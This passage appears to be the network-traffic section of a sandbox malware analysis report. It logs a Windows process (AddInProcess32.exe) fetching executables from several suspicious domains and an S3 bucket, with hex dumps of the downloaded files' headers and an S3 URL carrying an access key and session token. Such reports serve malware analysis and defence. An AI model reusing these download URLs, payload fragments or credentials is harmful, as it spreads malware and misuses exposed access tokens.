2024-03-11 02:31:00 UTC	397	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 57 58 45 6c 41 64 31 42 25 32 46 53 77 58 62 70 59 6a 67 79 68 63 76 6d 70 48 52 6d 6f 33 62 63 52 54 53 67 32 6a 52 52 6a 67 5a 79 59 6d 48 41 4b 38 56 66 39 5a 67 7a 61 77 7a 41 77 6d 66 4f 6e 5a 36 71 49 47 46 51 61 49 25 32 42 68 57 56 77 25 32 42 63 6e 6c 4c 7a 35 25 32 46 61 72 42 42 46 59 4d 52 57 4f 6c 48 32 25 32 42 4d 32 6a 4a 6c 67 5a 78 66 39 79 51 50 48 77 50 71 46 38 33 53 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b 22 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WXElAd1B%2FSwXbpYjgyhcvmpHRmo3bcRTSg2jRRjgZyYmHAK8Vf9ZgzawzAwmfOnZ6qIGFQaI%2BhWVw%2BcnlLz5%2FarBBFYMRWOlH2%2BM2jJlgZxf9yQPHwPqF83S"}],"group":"cf-nel","max_age":604800}NEL: {"
2024-03-11 02:31:00 UTC	1369	IN	Data Raw: 65 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 68 2d 31 30 30 20 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 2d 73 6d 6f 6f 74 68 20 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 43 53 52 46 20 54 6f 6b 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 Data Ascii: e1b<!DOCTYPE html><html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> ... CSRF Token --> <meta name="csrf-token" content="
2024-03-11 02:31:00 UTC	1369	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 68 6f 72 74 69 6e 79 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 47 6f 20 62 61 63 6b 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 20 69 64 3d 22 66 6f 6f 74 65 72 22 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 20 62 67 2d 62 61 73 65 2d 30 20 64 2d 70 72 69 6e 74 2d 6e 6f 6e 65 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 Data Ascii: <a href="https://shortiny.com" class="btn btn-primary">Go back</a> </div> </div> </div> </div></div> <footer id="footer" class="footer bg-base-0 d-print-none"> <div class="container
2024-03-11 02:31:00 UTC	880	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 78 65 64 2d 62 6f 74 74 6f 6d 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 2d 6e 6f 6e 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 2d 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 61 6c 69 67 6e 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6f 72 64 65 72 2d 30 20 6d 74 2d 30 20 6d 72 2d 33 20 6d 62 2d 33 20 6d 6c 2d 33 20 70 2d 32 20 72 6f 75 6e 64 65 64 20 63 6f 6f 6b 69 65 2d 62 61 6e 6e 65 72 20 Data Ascii: </div> </div> </div> <div class="fixed-bottom pointer-events-none"> <div class="d-flex justify-content-center align-items-center"> <div class="border-0 mt-0 mr-3 mb-3 ml-3 p-2 rounded cookie-banner
2024-03-11 02:31:00 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-03-11 02:31:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	55631	104.21.32.142	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:31:00 UTC	79	OUT	GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1 Host: shipofdestiny.com
2024-03-11 02:31:00 UTC	705	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 11 Mar 2024 02:31:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bdjtJTyyykrXTOY0s5auBQBpE7Wykc%2F0Q6sxQ6AmNC433J%2Fb%2BCOkAjpSwVfW0SK89JHW6HN0nQtRWflq9%2BT1p5XTmKbFQFn1q3yPb1A2D9TK1OVhioNvXC315HU08y6o5GIv%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 862820340b5e0ad7-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:31:00 UTC	135	IN	Data Raw: 38 31 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 61 77 79 65 72 62 75 79 65 72 2e 6f 72 67 2f 32 36 62 36 32 36 66 65 61 32 39 30 31 35 61 39 66 32 34 65 30 37 61 30 38 66 61 30 31 31 65 34 2f 62 61 66 31 34 37 37 38 63 32 34 36 65 31 35 35 35 30 36 34 35 65 33 30 62 61 37 38 63 65 31 63 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 81<a href="https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe">Temporary Redirect</a>.
2024-03-11 02:31:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	55632	172.67.178.183	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:31:00 UTC	74	OUT	GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1 Host: namemail.org
2024-03-11 02:31:00 UTC	693	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 11 Mar 2024 02:31:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://ittrade.org/26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=JAntoR3PkFDCrr1EI6QP%2B1QqwEbz87hKD3woQF899P07z%2F%2BpzveyTRtNFUHGvm6kUrr2OrFuJ%2BiGkbpRUMTyG6uXZHJWHSJ4M6WWcxYj5tj52tIbzD%2B5nDMg%2F8V71sg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 862820352fbf09fd-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:31:00 UTC	131	IN	Data Raw: 37 64 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 74 74 72 61 64 65 2e 6f 72 67 2f 32 36 62 36 32 36 66 65 61 32 39 30 31 35 61 39 66 32 34 65 30 37 61 30 38 66 61 30 31 31 65 34 2f 36 37 37 39 64 38 39 62 37 61 33 36 38 66 34 66 33 66 33 34 30 62 35 30 61 39 64 31 38 64 37 31 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 7d<a href="https://ittrade.org/26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe">Temporary Redirect</a>.
2024-03-11 02:31:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	55636	3.5.20.209	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:31:01 UTC	1119	OUT	GET /fe3c402e-d650-43c9-b0ce-c95a11498dde/downloads/666d2627-f56a-4f04-99c5-36905368220f/a02.exe?response-content-disposition=attachment%3B%20filename%3D%22a02.exe%22&AWSAccessKeyId=ASIA6KOSE3BNBZE7SCMA&Signature=HCpifs76QUiUci%2FEbjTZ%2FcagJHI%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBsaCXVzLWVhc3QtMSJHMEUCIAL7XL1t3TuPO88R%2FvmGOKGVl7p1Es82eho6cXvQ48VmAiEA7oowtGrg0V2iUhUFhl6H%2Ftflg%2F8yqqvEVz4QKWlhh9IqpwIIJBAAGgw5ODQ1MjUxMDExNDYiDFuIFyQ4tKa%2Be%2FeNTyqEAv3z8s9kfwkGDgSePx2WLCQQKhHTHvRODYsmqld%2BfnPf1j4E%2BbYhYHOLhh0iQz0sdVxhkrXPTKBqSsozj19VUfDopIPVTfRKMeNtRGQezfK2JjXbp8r7euC55noDSYZTIVM6KVVDIPF1tAGWJiFo6%2BMYnFfB2zug1t5HpisPVtMAStx8BqdelSlN37IFcwjn1aKq5iLKOG2ot6gDBMcne8C1p0SybdfD5uWEI6lrqrxtbWm19RY1WYFsJSDkbGmC0LCmMTNlAcqxgj5rGPqMkl4XffgOsPi8NIW0liFniEJ4GkgdiP0nldGzH%2BkY77zsgPaug81QSVfxWv673OeelwZ6wdBpMNTYua8GOp0B8L9l%2BRuxjpbF79wIHItOL1FbFFaPMDUqLn7BHl2kHWntZrPtX5IlaRgQbEYZGTx9IwOvskFyhN7gOZfzOo5jKzjap2b%2Bq12UXPXW48Biok56nWPXv6z27x4KbZddnlzzmD%2FmLERbURyUQwhok2kY3h9GfMX4MN0PiCzQ9hqyr2Z7uiRWWK82G8AlU01254WlEwld0nRAsugFGjj4nw%3D%3D&Expires=1710125916 HTTP/1.1 Host: bbuseruploads.s3.amazonaws.com
2024-03-11 02:31:01 UTC	548	IN	HTTP/1.1 200 OK x-amz-id-2: +rTpzE++1U0ad6TJZrGhHh/4498R/ZvI4wNqWRR7KA/u3dHpiE7o5yVI54zdMIlqBbsWyylODfigV1dBqLCZuw== x-amz-request-id: 9XXWF337X59ZR7K9 Date: Mon, 11 Mar 2024 02:31:02 GMT Last-Modified: Sat, 09 Mar 2024 01:51:54 GMT ETag: "d9578a8e9ee343bc53b08fd8101f66e9" x-amz-server-side-encryption: AES256 x-amz-version-id: P5m1d1MT8MpyYgT1paykScDnj4a0CXh_ Content-Disposition: attachment; filename="a02.exe" Accept-Ranges: bytes Content-Type: application/octet-stream Server: AmazonS3 Content-Length: 323584 Connection: close
2024-03-11 02:31:01 UTC	1410	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 08 61 dd 66 4c 00 b3 35 4c 00 b3 35 4c 00 b3 35 cf 08 ee 35 4e 00 b3 35 6b c6 ce 35 58 00 b3 35 6b c6 de 35 26 00 b3 35 6b c6 dd 35 60 00 b3 35 8f 0f ee 35 43 00 b3 35 4c 00 b2 35 cb 00 b3 35 6b c6 c1 35 4a 00 b3 35 6b c6 cb 35 4d 00 b3 35 52 69 63 68 4c 00 b3 35 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 3f be eb 65 00 00 00 00 00 00 00 00 e0 00 03 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$afL5L5L55N5k5X5k5&5k5`55C5L55k5J5k5M5RichL5PEL?e
2024-03-11 02:31:01 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-03-11 02:31:01 UTC	1024	IN	Data Raw: 85 c0 56 8b f1 c6 46 0c 00 75 63 e8 2a 22 00 00 89 46 08 8b 48 6c 89 0e 8b 48 68 89 4e 04 8b 0e 3b 0d 48 cd 44 00 74 12 8b 0d 64 cc 44 00 85 48 70 75 07 e8 98 61 00 00 89 06 8b 46 04 3b 05 68 cb 44 00 74 16 8b 46 08 8b 0d 64 cc 44 00 85 48 70 75 08 e8 67 5a 00 00 89 46 04 8b 46 08 f6 40 70 02 75 14 83 48 70 02 c6 46 0c 01 eb 0a 8b 08 89 0e 8b 40 04 89 46 04 8b c6 5e c2 04 00 f6 41 0c 40 74 06 83 79 08 00 74 24 ff 49 04 78 0b 8b 11 88 02 ff 01 0f b6 c0 eb 0c 0f be c0 51 50 e8 f8 fd ff ff 59 59 83 f8 ff 75 03 09 06 c3 ff 06 c3 55 8b ec 56 8b f0 eb 13 8b 4d 10 8a 45 08 ff 4d 0c e8 b7 ff ff ff 83 3e ff 74 06 83 7d 0c 00 7f e7 5e 5d c3 f6 47 0c 40 53 56 8b f0 8b d9 74 34 83 7f 08 00 75 2e 8b 44 24 0c 01 06 eb 2d 8a 03 ff 4c 24 0c 8b cf e8 82 ff ff ff 43 83 3e Data Ascii: VFuc*"FHlHhN;HDtdDHpuaF;hDtFdDHpugZFF@puHpF@F^A@tyt$IxQPYYuUVMEM>t}^]G@SVt4u.D$-L$C>
2024-03-11 02:31:01 UTC	15360	IN	Data Raw: 75 11 43 43 81 4d e8 00 80 00 00 89 5d b8 e9 29 06 00 00 3c 33 75 17 80 7b 01 32 75 11 43 43 81 65 e8 ff 7f ff ff 89 5d b8 e9 0e 06 00 00 3c 64 0f 84 06 06 00 00 3c 69 0f 84 fe 05 00 00 3c 6f 0f 84 f6 05 00 00 3c 75 0f 84 ee 05 00 00 3c 78 0f 84 e6 05 00 00 3c 58 0f 84 de 05 00 00 89 75 8c 8d 45 9c 50 0f b6 c2 50 89 75 bc e8 6e 5f 00 00 59 85 c0 8a 45 e7 59 74 19 8b 4d d0 8d 75 cc e8 f9 fb ff ff 8a 03 43 84 c0 89 5d b8 0f 84 c2 05 00 00 8b 4d d0 8d 75 cc e8 e0 fb ff ff e9 99 05 00 00 0f be c2 83 f8 64 0f 8f 72 01 00 00 0f 84 eb 01 00 00 83 f8 53 0f 8f ab 00 00 00 74 5a 83 e8 41 74 10 48 48 74 40 48 48 74 08 48 48 0f 85 4f 04 00 00 80 c2 20 c7 45 88 01 00 00 00 88 55 e7 83 4d e8 40 39 75 e0 8d 5d ec b8 00 02 00 00 89 5d dc 89 45 98 0f 8d c7 01 00 00 c7 45 Data Ascii: uCCM])<3u{2uCCe]<d<i<o<u<x<XuEPPun_YEYtMuC]MudrStZAtHHt@HHtHHO EUM@9u]]EE
2024-03-11 02:31:01 UTC	16384	IN	Data Raw: c3 6a 08 68 b0 aa 44 00 e8 05 d8 ff ff 8b 4d 08 85 c9 74 2a 81 39 63 73 6d e0 75 22 8b 41 1c 85 c0 74 1b 8b 40 04 85 c0 74 14 83 65 fc 00 50 ff 71 18 e8 2c af ff ff c7 45 fc fe ff ff ff e8 14 d8 ff ff c3 33 c0 38 45 0c 0f 95 c0 c3 8b 65 e8 e9 43 0a 00 00 8b 4c 24 08 8b 01 56 8b 74 24 08 03 c6 83 79 04 00 7c 10 8b 51 04 8b 49 08 8b 34 32 8b 0c 0e 03 ca 03 c1 5e c3 55 8b ec 83 ec 0c 85 ff 75 0a e8 5b 0a 00 00 e9 0a 0a 00 00 83 65 f8 00 83 3f 00 c6 45 ff 00 7e 53 53 56 8b 45 08 8b 40 1c 8b 40 0c 8b 18 85 db 8d 70 04 7e 33 8b 45 f8 c1 e0 04 89 45 f4 8b 4d 08 ff 71 1c 8b 06 50 8b 47 04 03 45 f4 50 e8 6e fd ff ff 83 c4 0c 85 c0 75 0a 4b 83 c6 04 85 db 7f dc eb 04 c6 45 ff 01 ff 45 f8 8b 45 f8 3b 07 7c b1 5e 5b 8a 45 ff c9 c3 6a 04 b8 33 dc 40 00 e8 2e b2 ff ff Data Ascii: jhDMt*9csmu"At@tePq,E38EeCL$Vt$y\|QI42^Uu[e?E~SSVE@@p~3EEMqPGEPnuKEEE;\|^[Ej3@.
2024-03-11 02:31:01 UTC	1024	IN	Data Raw: 00 77 16 e8 b6 13 00 00 8b fc 3b fb 74 dd c7 07 cc cc 00 00 83 c7 08 eb 1a 50 e8 93 66 ff ff 3b c3 59 74 09 c7 00 dd dd 00 00 83 c0 08 8b f8 eb 02 33 ff 3b fb 74 b4 ff 75 f8 53 57 e8 1d 78 ff ff 83 c4 0c ff 75 f8 57 ff 75 14 ff 75 f4 ff 75 0c ff 75 08 ff d6 3b c3 89 45 f8 75 04 33 f6 eb 25 ff 75 1c 8d 45 f8 ff 75 18 50 57 ff 75 20 ff 75 ec e8 8b 11 00 00 8b f0 89 75 f0 83 c4 18 f7 de 1b f6 23 75 f8 57 e8 95 fc ff ff 59 eb 1a ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 ff 15 90 e0 40 00 8b f0 39 5d f4 74 09 ff 75 f4 e8 1f 65 ff ff 59 8b 45 f0 3b c3 74 0c 39 45 18 74 07 50 e8 0c 65 ff ff 59 8b c6 8d 65 e0 5f 5e 5b 8b 4d fc 33 cd e8 4d 61 ff ff c9 c3 55 8b ec 83 ec 10 ff 75 08 8d 4d f0 e8 0d 7f ff ff ff 75 28 8d 4d f0 ff 75 24 ff 75 20 ff 75 1c ff Data Ascii: w;tPf;Yt3;tuSWxuWuuuu;Eu3%uEuPWu uu#uWYuuuuuu@9]tueYE;t9EtPeYe_^[M3MaUuMu(Mu$u u
2024-03-11 02:31:01 UTC	16384	IN	Data Raw: ff 76 6c e8 cd 61 ff ff ff 76 70 e8 c5 61 ff ff ff 76 74 e8 bd 61 ff ff ff 76 78 e8 b5 61 ff ff ff 76 7c e8 ad 61 ff ff 83 c4 40 ff b6 80 00 00 00 e8 9f 61 ff ff ff b6 84 00 00 00 e8 94 61 ff ff ff b6 88 00 00 00 e8 89 61 ff ff ff b6 8c 00 00 00 e8 7e 61 ff ff ff b6 90 00 00 00 e8 73 61 ff ff ff b6 94 00 00 00 e8 68 61 ff ff ff b6 98 00 00 00 e8 5d 61 ff ff ff b6 9c 00 00 00 e8 52 61 ff ff ff b6 a0 00 00 00 e8 47 61 ff ff ff b6 a4 00 00 00 e8 3c 61 ff ff ff b6 a8 00 00 00 e8 31 61 ff ff 83 c4 2c 5e c3 56 8b 74 24 08 85 f6 74 35 8b 06 3b 05 60 ce 44 00 74 07 50 e8 13 61 ff ff 59 8b 46 04 3b 05 64 ce 44 00 74 07 50 e8 01 61 ff ff 59 8b 76 08 3b 35 68 ce 44 00 74 07 56 e8 ef 60 ff ff 59 5e c3 56 8b 74 24 08 85 f6 74 7e 8b 46 0c 3b 05 6c ce 44 00 74 07 50 e8 Data Ascii: vlavpavtavxav\|a@aaa~asaha]aRaGa<a1a,^Vt$t5;`DtPaYF;dDtPaYv;5hDtV`Y^Vt$t~F;lDtP
2024-03-11 02:31:01 UTC	1024	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-03-11 02:31:01 UTC	16384	IN	Data Raw: 38 89 44 24 3c 89 44 24 40 89 44 24 44 ff d7 8d 4c 24 28 51 8d 54 24 3c 52 55 55 6a 04 55 55 8b d8 8b 84 24 a0 00 00 00 55 50 55 c7 03 07 00 01 00 89 6c 24 38 ff 15 d8 00 41 00 85 c0 75 13 ff 15 d4 00 41 00 c7 44 24 10 01 00 00 00 e9 9e 01 00 00 8b 4c 24 30 51 68 20 1c 41 00 e8 ea 40 00 00 83 c4 08 6a 04 68 00 30 00 00 68 00 70 00 00 55 ff d7 68 00 70 00 00 8b f0 68 f8 1e 41 00 56 e8 91 77 00 00 8b 54 24 38 8b 7e 3c 83 c4 0c 53 52 03 fe ff 15 10 02 41 00 8b 83 a4 00 00 00 83 c0 08 50 68 24 1c 41 00 e8 9e 40 00 00 8b 93 a4 00 00 00 8b 44 24 30 83 c4 08 55 6a 04 8d 4c 24 1c 51 83 c2 08 52 50 ff 15 0c 02 41 00 8b 4c 24 14 51 68 24 1c 41 00 e8 6f 40 00 00 8b 44 24 1c 8d 6f 34 83 c4 08 3b 45 00 89 6c 24 20 75 0c 8b 54 24 28 50 52 ff 15 1c 02 41 00 8b 47 50 8b Data Ascii: 8D$<D$@D$DL$(QT$<RUUjUU$UPUl$8AuAD$L$0Qh A@jh0hpUhphAVwT$8~<SRAPh$A@D$0UjL$QRPAL$Qh$Ao@D$o4;El$ uT$(PRAGP
2024-03-11 02:31:01 UTC	1024	IN	Data Raw: 44 24 0c 8b 08 8d 54 24 18 52 8d 54 24 20 52 50 8b 41 0c ff d0 85 c0 0f 8c d7 00 00 00 68 b0 94 41 00 e8 4a 08 00 00 6a 30 8d 4c 24 28 6a 00 51 e8 31 32 00 00 8b 44 24 28 be 01 00 00 00 83 c4 10 8d 4c 24 20 66 89 74 24 28 66 89 74 24 26 66 c7 44 24 24 cf 07 66 c7 44 24 20 30 00 66 c7 44 24 30 0d 00 c7 44 24 40 07 00 00 00 66 89 74 24 44 8b 10 8b 52 0c 51 50 ff d2 85 c0 7c 6a 68 18 95 41 00 e8 e9 07 00 00 8b 44 24 10 8b 08 83 c4 04 8d 54 24 10 52 68 80 02 41 00 50 8b 01 ff d0 85 c0 7c 44 68 98 95 41 00 e8 c3 07 00 00 8b 44 24 14 8b 08 8b 51 18 83 c4 04 56 6a 00 50 ff d2 68 00 96 41 00 e8 a7 07 00 00 68 74 96 41 00 e8 9d 07 00 00 8b 44 24 18 8b 08 8b 51 08 83 c4 08 50 c6 44 24 0f 01 ff d2 8b 44 24 18 8b 08 8b 51 08 50 ff d2 8b 44 24 0c 8b 08 8b 51 08 50 ff Data Ascii: D$T$RT$ RPAhAJj0L$(jQ12D$(L$ ft$(ft$&fD$$fD$ 0fD$0D$@ft$DRQP\|jhAD$T$RhAP\|DhAD$QVjPhAhtAD$QPD$D$QPD$QP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	55637	104.21.63.71	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:31:01 UTC	110	OUT	GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1 Host: lawyerbuyer.org
2024-03-11 02:31:01 UTC	678	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:31:01 GMT Content-Type: application/x-ms-dos-executable Content-Length: 4283792 Connection: close Last-Modified: Sun, 10 Mar 2024 22:53:03 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 5 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CIV5WCPcUh5aOPHYaQ9ASUfgKEEMGo2I3R8UqGPWRVPMlhCCFgiIN2cikJ4Iaxc3wmt%2FTMzHpNsvqMuTpOxzHY2eg%2FIChnAjv5lWhn0gus0O6KcNlvRv2WoceV4o3Vj5lJA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628203aefce0ad5-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:31:01 UTC	691	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 10 45 5e e1 71 2b 0d e1 71 2b 0d e1 71 2b 0d 8e 07 80 0d f5 71 2b 0d 8e 07 b5 0d f6 71 2b 0d 8e 07 81 0d b8 71 2b 0d e8 09 b8 0d e2 71 2b 0d e1 71 2a 0d ba 71 2b 0d 8e 07 84 0d e0 71 2b 0d 8e 07 b1 0d e0 71 2b 0d 8e 07 b6 0d e0 71 2b 0d 52 69 63 68 e1 71 2b 0d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2b 84 4d 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 96 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$E^q+q+q+q+q+q+q+q*q+q+q+q+Richq+PEL+Mc
